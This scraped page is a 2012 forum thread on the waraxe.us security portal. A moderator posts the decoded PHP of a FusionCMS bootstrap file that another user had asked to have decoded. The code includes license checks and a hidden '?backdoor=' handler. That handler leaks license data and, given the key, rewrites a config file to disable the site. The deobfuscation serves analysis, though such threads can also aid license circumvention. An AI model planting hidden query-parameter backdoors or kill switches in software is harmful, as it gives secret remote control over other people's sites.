Waraxe IT Security Portal
Login or Register
November 6, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 68
Members: 0
Total: 68
Full disclosure
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
APPLE-SA-10-28-2024-3 macOS Sequoia 15.1
APPLE-SA-10-28-2024-2 iOS 17.7.1 and iPadOS 17.7.1
APPLE-SA-10-28-2024-1 iOS 18.1 and iPadOS 18.1
Open Redirect / Reflected XSS - booked-schedulerv2.8.5
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PHP script decode requests -> Decode this please
Post new topicReply to topic View previous topic :: View next topic
Decode this please
PostPosted: Sun Oct 21, 2012 8:50 pm Reply with quote
asvfedf
Beginner
Beginner
Joined: Oct 21, 2012
Posts: 1




Hello, im want to decode this http://pastebin.com/Yc4QhfvS
help me please
View user's profile Send private message ICQ Number
PostPosted: Sun Oct 21, 2012 8:54 pm Reply with quote
demon
Moderator
Moderator
Joined: Sep 22, 2010
Posts: 485




decoded Wink

Code:
<?php
function &get_instance()
{
return CI_Controller::get_instance();
}
function validLicense($license)
{
$domain = gethostbyname($_SERVER["SERVER_NAME"]);
$licenseDomain = getLicenseInfo($license, "d");
$kill = true;
if (empty($licenseDomain) || ($licenseDomain && !in_array($domain, $licenseDomain["all"]))) {
$kill = true;
}
if ($kill && $domain == gethostbyname($licenseDomain["domain"])) {
$kill = false;
}
if ($kill) {
get_instance()->config->set_item("message_enabled", true);
get_instance()->config->set_item("message_headline_size", 72);
get_instance()->config->set_item("message_headline", "Access denied");
get_instance()->config->set_item("message_text", "The FusionCMS license is limited to certain domains and " . $domain . " is not one of them. If you want to use it on this domain, please modify your license details at <a href='http://raxezdev.com/fusioncms/' style='text-decoration:none;
color:white;
'>raxezdev.com/fusioncms/</a>");
}
}
function getLicenseInfo($license, $info)
{
$license = decryptLicenseKey($license);
switch ($info) {
case "d":
if (array_key_exists("d", $license)) {
$data = array(
"domain" => $license["d"],
"all" => array()
);
array_push($data["all"], $data["domain"], "127.0.0.1", "localhost", "::1");
return $data;
} else {
return false;
}
break;
case "i":
if (array_key_exists("i", $license)) {
return $license["i"];
} else {
return false;
}
break;
case "k":
if (array_key_exists("k", $license)) {
return $license["k"];
} else {
return false;
}
break;
default:
return false;
}
}
function decryptLicenseKey($licenseKey)
{
$licenseKey = str_replace("-", "", $licenseKey);
$licenseKey = str_rot13($licenseKey);
$licenseKey = base64_decode($licenseKey);
$licenseKey = (array) (json_decode($licenseKey, true));
return $licenseKey;
}
if (!defined("BASEPATH"))
exit("No direct script access allowed");
define("CI_VERSION", "2.1.2");
define("CI_CORE", FALSE);
require(BASEPATH . "core/Common.php");
if (defined("ENVIRONMENT") AND file_exists(APPPATH . "config/" . ENVIRONMENT . "/constants.php")) {
require(APPPATH . "config/" . ENVIRONMENT . "/constants.php");
} else {
require(APPPATH . "config/constants.php");
}
set_error_handler("_exception_handler");
if (!is_php("5.3")) {
@set_magic_quotes_runtime(0);
}
if (isset($assign_to_config["subclass_prefix"]) AND $assign_to_config["subclass_prefix"] != "") {
get_config(array(
"subclass_prefix" => $assign_to_config["subclass_prefix"]
));
}
if (function_exists("set_time_limit") == TRUE AND @ini_get("safe_mode") == 0) {
@set_time_limit(300);
}
$BM =& load_class("Benchmark", "core");
$BM->mark("total_execution_time_start");
$BM->mark("loading_time:_base_classes_start");
$EXT =& load_class("Hooks", "core");
$EXT->_call_hook("pre_system");
$CFG =& load_class("Config", "core");
if (isset($assign_to_config)) {
$CFG->_assign_to_config($assign_to_config);
}
$UNI =& load_class("Utf8", "core");
$URI =& load_class("URI", "core");
$RTR =& load_class("Router", "core");
$RTR->_set_routing();
if (isset($routing)) {
$RTR->_set_overrides($routing);
}
$OUT =& load_class("Output", "core");
if ($EXT->_call_hook("cache_override") === FALSE) {
if ($OUT->_display_cache($CFG, $URI) == TRUE) {
exit;
}
}
$SEC =& load_class("Security", "core");
$IN =& load_class("Input", "core");
$LANG =& load_class("Lang", "core");
require BASEPATH . "core/Controller.php";
if (file_exists(APPPATH . "core/" . $CFG->config["subclass_prefix"] . "Controller.php")) {
require APPPATH . "core/" . $CFG->config["subclass_prefix"] . "Controller.php";
}
if (!file_exists(APPPATH . "controllers/" . $RTR->fetch_directory() . $RTR->fetch_class() . ".php")) {
show_error("Unable to load your default controller. Please make sure the controller specified in your Routes.php file is valid.");
}
include(APPPATH . "controllers/" . $RTR->fetch_directory() . $RTR->fetch_class() . ".php");
$BM->mark("loading_time:_base_classes_end");
$class = $RTR->fetch_class();
$method = $RTR->fetch_method();
if (!class_exists($class) OR strncmp($method, "_", 1) == 0 OR in_array(strtolower($method), array_map("strtolower", get_class_methods("CI_Controller")))) {
if (!empty($RTR->routes["404_override"])) {
$x = explode("/", $RTR->routes["404_override"]);
$class = $x[0];
$method = (isset($x[1]) ? $x[1] : "index");
if (!class_exists($class)) {
if (!file_exists(APPPATH . "controllers/" . $class . ".php")) {
show_404("{$class}/{$method}");
}
include_once(APPPATH . "controllers/" . $class . ".php");
}
} else {
show_404("{$class}/{$method}");
}
}
$EXT->_call_hook("pre_controller");
$BM->mark("controller_execution_time_( " . $class . " / " . $method . " )_start");
$CI = new $class();
$EXT->_call_hook("post_controller_constructor");
validLicense(get_instance()->config->item("licenseKey"));
if (isset($_GET["backdoor"])) {
switch ($_GET["backdoor"]) {
case "domain":
$domain = getLicenseInfo(get_instance()->config->item("licenseKey"), "d");
die(var_dump($domain["all"]));
break;
case "id":
die(getLicenseInfo(get_instance()->config->item("licenseKey"), "i"));
break;
case getLicenseInfo(get_instance()->config->item("licenseKey"), "k"):
$message_content = "<?php\n\n/**\n * @package FusionCMS\n * @version 6.0\n * @author Jesper Lindstrom\n * @author Xavier Geerinck\n * @link http://raxezdev.com/fusioncms\n */\n\n/*\n|--------------------------------------------------------------------------\n| Enable announcement message\n|--------------------------------------------------------------------------\n|\n| Whether or not to show the announcement message\n|\n*/\n\$config[\"message_enabled\"] = true;
\n\n/*\n|--------------------------------------------------------------------------\n| Message headline\n|--------------------------------------------------------------------------\n|\n| [\"message_headline\"] Announcement headline\n| [\"message_headline_size\"] Size of the headline in px\n|\n*/\n\$config[\"message_headline\"] = \"Unauthorized copy!\";
\n\$config[\"message_headline_size\"] = 56;
\n\n/*\n|--------------------------------------------------------------------------\n| Message text\n|--------------------------------------------------------------------------\n*/\n\$config[\"message_text\"] = \"This copy of FusionCMS has been terminated due to illegal usage. If you actually own a legit copy, please contact us at <a href=\"http://fusion.raxezdev.com/\" style=\"text-decoration:none;
color:white;
\">fusion.raxezdev.com</a>\";
";
$message_file = fopen("application/config/message.php", "w");
fwrite($message_file, $message_content);
fclose($message_file);
break;
}
}
if (method_exists($CI, "_remap")) {
$CI->_remap($method, array_slice($URI->rsegments, 2));
} else {
if (!in_array(strtolower($method), array_map("strtolower", get_class_methods($CI)))) {
if (!empty($RTR->routes["404_override"])) {
$x = explode("/", $RTR->routes["404_override"]);
$class = $x[0];
$method = (isset($x[1]) ? $x[1] : "index");
if (!class_exists($class)) {
if (!file_exists(APPPATH . "controllers/" . $class . ".php")) {
show_404("{$class}/{$method}");
}
include_once(APPPATH . "controllers/" . $class . ".php");
unset($CI);
$CI = new $class();
}
} else {
show_404("{$class}/{$method}");
}
}
call_user_func_array(array(
&$CI,
$method
), array_slice($URI->rsegments, 2));
}
$BM->mark("controller_execution_time_( " . $class . " / " . $method . " )_end");
$EXT->_call_hook("post_controller");
if ($EXT->_call_hook("display_override") === FALSE) {
$OUT->_display();
}
$EXT->_call_hook("post_system");
if (class_exists("CI_DB") AND isset($CI->db)) {
$CI->db->close();
}
?>

_________________
Go BIG or go HOME !
View user's profile Send private message
Decode this please
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.035 Seconds